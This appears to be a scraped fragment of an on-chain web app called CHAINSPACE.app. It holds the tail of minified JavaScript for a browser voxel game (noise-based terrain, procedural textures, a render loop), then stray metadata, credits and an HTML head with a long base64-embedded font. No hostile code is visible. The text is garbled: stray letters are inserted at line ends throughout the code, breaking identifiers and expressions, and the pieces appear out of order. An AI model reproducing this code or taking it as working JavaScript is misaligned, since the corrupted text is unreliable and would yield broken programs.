 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
